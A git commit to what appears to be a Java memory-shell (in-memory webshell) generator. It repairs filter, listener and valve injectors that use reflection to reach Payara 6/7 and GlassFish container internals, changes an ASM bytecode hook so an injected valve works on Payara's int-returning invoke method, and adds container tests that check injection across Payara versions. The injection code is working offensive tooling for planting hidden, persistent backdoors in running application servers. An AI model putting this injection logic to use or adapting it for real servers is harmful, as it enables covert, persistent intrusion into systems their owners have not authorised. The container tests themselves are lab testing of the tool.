fix: payara 6/7 shell not work

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent f17a33fb8b
commit 65d0b17fe2
17 changed files with 8939 additions and 10 deletions
@@ -91,10 +91,19 @@ public class GlassFishFilterInjector {
if (target == null) { if (target == null) {
continue; continue;
} }
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children"); Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); if (children != null) {
contexts.addAll(children.values());
}
} }
} }
} }
@@ -113,6 +122,23 @@ public class GlassFishFilterInjector {
return target; return target;
} }
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -80,7 +80,11 @@ public class GlassFishValveInjector {
if (target == null) { if (target == null) {
continue; continue;
} }
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children"); Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -100,6 +104,31 @@ public class GlassFishValveInjector {
} }
} }
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public MethodVisitor visitMethod(int access, String name, String descriptor, public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { // Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
if (TARGET_METHOD_NAME.equals(name)
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName()); boolean returnsInt = descriptor.endsWith(")I");
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
mv, argumentTypes, getClassName(), returnsInt);
} }
return mv; return mv;
} }
@@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public static class AgentShellMethodVisitor extends MethodVisitor { public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes; private final Type[] argumentTypes;
private final String className; private final String className;
private final boolean returnsInt;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
super(Opcodes.ASM9, mv); super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes; this.argumentTypes = argTypes;
this.className = className; this.className = className;
this.returnsInt = returnsInt;
} }
@Override @Override
@@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
"(Ljava/lang/Object;)Z", "(Ljava/lang/Object;)Z",
false); false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN); // GlassFishValve.END_PIPELINE == 2
if (returnsInt) {
mv.visitInsn(Opcodes.ICONST_2);
mv.visitInsn(Opcodes.IRETURN);
} else {
mv.visitInsn(Opcodes.RETURN);
}
mv.visitLabel(ifConditionFalse); mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd); mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
@@ -63,10 +63,19 @@ public class TomcatListenerInjector {
if (target == null) { if (target == null) {
continue; continue;
} }
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children"); Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); if (children != null) {
contexts.addAll(children.values());
}
} }
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) { } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try { try {
@@ -110,6 +119,23 @@ public class TomcatListenerInjector {
return target; return target;
} }
/**
* Older Catalina: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -160,7 +160,11 @@ public class GlassFishFilterProbe {
if (target == null) { if (target == null) {
continue; continue;
} }
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children"); Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
@@ -179,6 +183,31 @@ public class GlassFishFilterProbe {
} }
} }
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception { public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null); return invokeMethod(obj, methodName, null, null);
} }
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202312ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2023.12",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202412ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2024.12-jdk17",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202511ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2025.11-jdk21",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara7202606ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:7.2026.6",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.payara;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202312ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta(
"payara/server-web:6.2023.12",
"/opt/payara/deployments/app.war")
.expectedJdkVersion("JDK|11.0.21|55")
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.payara;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202412ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta(
"payara/server-web:6.2024.12-jdk17",
"/opt/payara/deployments/app.war")
.expectedJdkVersion("JDK|17.0.13|61")
.targetJdkVersion(Opcodes.V17)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.payara;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202511ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta(
"payara/server-web:6.2025.11-jdk21",
"/opt/payara/deployments/app.war")
.expectedJdkVersion("JDK|21.0.9|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.payara;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara7202606ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta(
"payara/server-web:7.2026.6",
"/opt/payara/deployments/app.war")
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}